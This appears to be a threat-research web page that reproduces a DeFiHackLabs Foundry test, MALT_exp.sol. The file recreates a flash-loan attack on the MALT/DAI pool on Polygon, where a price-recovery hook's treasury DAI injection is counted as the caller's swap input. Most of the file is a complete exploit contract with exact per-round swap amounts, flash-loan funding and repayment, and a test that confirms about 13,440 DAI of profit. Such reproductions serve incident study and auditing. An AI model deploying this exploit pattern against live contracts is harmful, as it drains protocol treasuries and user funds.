Public reproduction file
src/test/2026-10/MALT_exp.sol
Public reproduction file for dataset entry MALT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// MALT (Malt Stablecoin) - treasury-funded rebalance counted as the caller's swap input - Polygon, 2026-10-xx.7//8// Run: forge test --contracts src/test/2026-10/MALT_exp.sol -vvv9//10// Profit: 13,440.581562307921517594 DAI net to the attacker EOA (exact on-chain figure, log index 94).11// The victim Capital Source was drained of 6,286.101126094517384766 + 6,458.54338049607175195212// = 12,744.644506590589136718 DAI across two rebalance injections.13//14// On-chain references (Polygon):15// attack tx : 0x915eccb5791508aa89a0a3f1385b26346b127ebb648b046e4cb558474ce8445b16// block : 94869210 (fork at parent 94869209)17// attacker EOA : 0x8F103B6A0aD705bcE6357842A5fefEB49e8D83Ef18// attacker contract : 0x0DbF3Da828ad3B21d63a0429Ca08F93c6367039319//20// Actors / contracts:21// MALT/DAI sLP (vulnerable pool) : 0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13 (UniV2-style, token0=MALT, token1=DAI)22// MALT (Malt Stablecoin, token0) : 0x16c8cdbE2dbC271b8F05c83e9bD72ae4F38c50d423// DAI (token1) : 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A06324// Capital Source (victim treasury) : 0xF0d314849A3Bc9270a79110F25dBA2c8325A2AAC25// QuickSwap router (MALT/DAI arb) : 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff26// QuickSwap MALT/DAI pair : 0xf864db3e24968a8eb6B2925553f2E5e0139d3ce127// Balancer Vault (flash loan) : 0xBA12222222228d8Ba445958a75a0704d566BF2C828//29// ROOT CAUSE (confirmed from the full on-chain trace; the pool/treasury are unverified on Polygonscan, so the30// mechanism below is reconstructed from the call tree + token flows and then reproduced live against the real31// deployed contracts at the fork block):32// The sLP is a UniswapV2-style pair whose swap(uint256 amount0Out, uint256 amount1Out, address to) [selector33// 0x6d9a640a] records the caller's transferred-in amount and the pre-swap reserves, then - BEFORE sending the34// requested output - runs MALT's price-recovery routine. When the pool price is below peg, that routine pulls35// DAI out of the Capital Source and deposits it into the pool (trace: sLP.swap -> 0xf61ab339.b34b101f ->36// RewardThrottle 0x6f96483f.cc99bba5 -> CapitalSource.19dc30ba(DAI, amount, sLP), a plain DAI transfer from37// the treasury into the pair). swap() then checks its constant-product invariant against the pool's FINAL38// balances, which now include the treasury DAI the recovery just injected. It never separates DAI the caller39// supplied from DAI the recovery injected, so the injected treasury DAI is credited as if the caller had40// supplied it.41//42// The recovery fires on an ordinary swap once the pool is below peg; the attacker manufactures that condition43// themselves (sell MALT into the pool first), so no price/keeper precondition is externally gated.44//45// Permissionless: every step the attacker drives is an ordinary unprivileged call - a Balancer flash loan,46// QuickSwap router swaps, and the public sLP.swap. The Capital Source withdrawal is a side effect the pool47// triggers internally during swap(); the attacker never calls any owner/keeper function. No privileged step48// appears anywhere in the attacker's path.49//50// THE ATTACK (one atomic tx; every figure below is taken verbatim from the trace and reproduced here):51// Fund with a 1,300 DAI Balancer flash loan, then run the cycle (the big extractions are rounds 1 and 2):52// 1. Buy MALT on QuickSwap with DAI.53// 2. Dump that MALT into the sLP (sell leg) -> pushes the sLP MALT price below peg.54// 3. Transfer a negligible 1 DAI into the sLP and call swap() to buy a large MALT amount out. swap() runs55// the recovery, which injects thousands of DAI from the Capital Source into the pool; the invariant then56// passes as if the attacker had supplied that DAI, and the pool releases the large MALT output.57// 4. Sell the MALT back on QuickSwap for DAI.58// Repeat, repay the flash loan, keep the DAI difference.60interface IERC20 {61 function balanceOf(address) external view returns (uint256);62 function approve(address, uint256) external returns (bool);63 function transfer(address, uint256) external returns (bool);64}66interface IBalancerVault {67 function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData)68 external;69}71interface IUniV2Router {72 function swapExactTokensForTokens(73 uint256 amountIn,74 uint256 amountOutMin,75 address[] calldata path,76 address to,77 uint256 deadline78 ) external returns (uint256[] memory amounts);79}81// MALT sLP - UniswapV2-style pair with the custom swap selector 0x6d9a640a and the embedded recovery hook.82interface IMaltPair {83 function swap(uint256 amount0Out, uint256 amount1Out, address to) external;84}86/// @notice Reconstruction of the on-chain attack contract 0x0DbF3Da8...0393.87contract MaltExploiter {88 IBalancerVault constant VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);89 IUniV2Router constant ROUTER = IUniV2Router(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);90 IMaltPair constant SLP = IMaltPair(0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13);92 address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;93 address constant MALT = 0x16c8cdbE2dbC271b8F05c83e9bD72ae4F38c50d4;94 address constant SLP_ADDR = 0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13;96 uint256 constant LOAN = 1_300e18;98 // Exact on-chain per-leg amounts from the attack trace.99 // Round 1100 uint256 constant R1_BUY = 1_300e18; // DAI -> MALT on router101 uint256 constant R1_SELL_DAI_OUT = 2_047_278e15; // sLP.swap(0, daiOut): sell MALT for DAI (below peg)102 uint256 constant R1_EXPLOIT_MALT_OUT = 7_823_544e15; // sLP.swap(maltOut, 0): 1 DAI in -> recovery injects treasury DAI103 // Round 2104 uint256 constant R2_BUY = 2_850e18;105 uint256 constant R2_SELL_DAI_OUT = 6_459_541e15;106 uint256 constant R2_EXPLOIT_MALT_OUT = 8_229_254e15;107 // Round 3 (tail; no treasury injection - included to reproduce the net figure exactly)108 uint256 constant R3_BUY = 2_850e18;109 uint256 constant R3_SELL_DAI_OUT = 6_455_961e15;110 uint256 constant R3_EXPLOIT_MALT_OUT = 120_748e15;112 bool approved;114 function attack() external {115 address[] memory tokens = new address[](1);116 tokens[0] = DAI;117 uint256[] memory amounts = new uint256[](1);118 amounts[0] = LOAN;119 VAULT.flashLoan(address(this), tokens, amounts, "");120 }122 function receiveFlashLoan(123 address[] memory tokens,124 uint256[] memory amounts,125 uint256[] memory feeAmounts,126 bytes memory127 ) external {128 require(msg.sender == address(VAULT), "only vault");130 if (!approved) {131 IERC20(DAI).approve(address(ROUTER), type(uint256).max);132 IERC20(MALT).approve(address(ROUTER), type(uint256).max);133 approved = true;134 }136 _round(R1_BUY, R1_SELL_DAI_OUT, 1e18, R1_EXPLOIT_MALT_OUT);137 _round(R2_BUY, R2_SELL_DAI_OUT, 1e18, R2_EXPLOIT_MALT_OUT);138 _round(R3_BUY, R3_SELL_DAI_OUT, 50e18, R3_EXPLOIT_MALT_OUT);140 // Repay the flash loan (Balancer fee is 0 on Polygon).141 IERC20(tokens[0]).transfer(address(VAULT), amounts[0] + feeAmounts[0]);142 }144 function _round(uint256 buyDai, uint256 sellDaiOut, uint256 exploitDaiIn, uint256 exploitMaltOut) internal {145 // 1. Buy MALT on QuickSwap with DAI.146 _routerSwap(DAI, MALT, buyDai);148 // 2. Sell that MALT into the sLP (transfer-then-swap, UniV2 style) -> drives the sLP MALT below peg.149 IERC20(MALT).transfer(SLP_ADDR, IERC20(MALT).balanceOf(address(this)));150 SLP.swap(0, sellDaiOut, address(this));152 // 3. Transfer a negligible DAI input, then buy a large MALT amount out. swap() runs the recovery, which153 // injects treasury DAI from the Capital Source and lets the invariant pass as if we had supplied it.154 IERC20(DAI).transfer(SLP_ADDR, exploitDaiIn);155 SLP.swap(exploitMaltOut, 0, address(this));157 // 4. Sell the MALT we just extracted back on QuickSwap for DAI.158 _routerSwap(MALT, DAI, IERC20(MALT).balanceOf(address(this)));159 }161 function _routerSwap(address tokenIn, address tokenOut, uint256 amountIn) internal {162 address[] memory path = new address[](2);163 path[0] = tokenIn;164 path[1] = tokenOut;165 ROUTER.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);166 }167}169contract MALT_exp is Test {170 address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;172 // Exact on-chain realized profit: 13,440.581562307921517594 DAI to the attacker EOA (log index 94).173 uint256 constant ON_CHAIN_PROFIT = 13_440_581562307921517594;175 MaltExploiter exploiter;177 function setUp() public {178 vm.createSelectFork("polygon", 94869209); // parent of the attack block179 exploiter = new MaltExploiter();180 }182 function testExploit() public {183 emit log_string("MALT - treasury-funded rebalance counted as the caller's swap input");185 exploiter.attack();187 uint256 profit = IERC20(DAI).balanceOf(address(exploiter));188 emit log_named_decimal_uint("Attacker DAI profit after flash-loan repay", profit, 18);190 // Reproduces the on-chain net to the wei (same fork pre-state, same exact per-leg amounts).191 assertApproxEqRel(profit, ON_CHAIN_PROFIT, 1e14, "profit must match on-chain 13,440.58 DAI");192 }193}Analysis
Dataset entry
Public Foundry test for “MALT” (2026-10-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- attacker
0x8f103b6a0ad705bce6357842a5fefeb49e8d83ef
- attacker
0x0dbf3da828ad3b21d63a0429ca08f93c63670393
- Attack Tx
0x915eccb5791508aa89a0a3f1385b26346b127ebb648b046e4cb558474ce8445b
File record
- Name
- MALT
- Path
- src/test/2026-10/MALT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7d19768bc2883c2fa7fea07ad8c593927ad3861f
- Language
- Solidity
- Size
- 194 lines
- Date
- 2026-10-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/MALT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7d19768bc2883c2fa7fea07ad8c593927ad3861f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.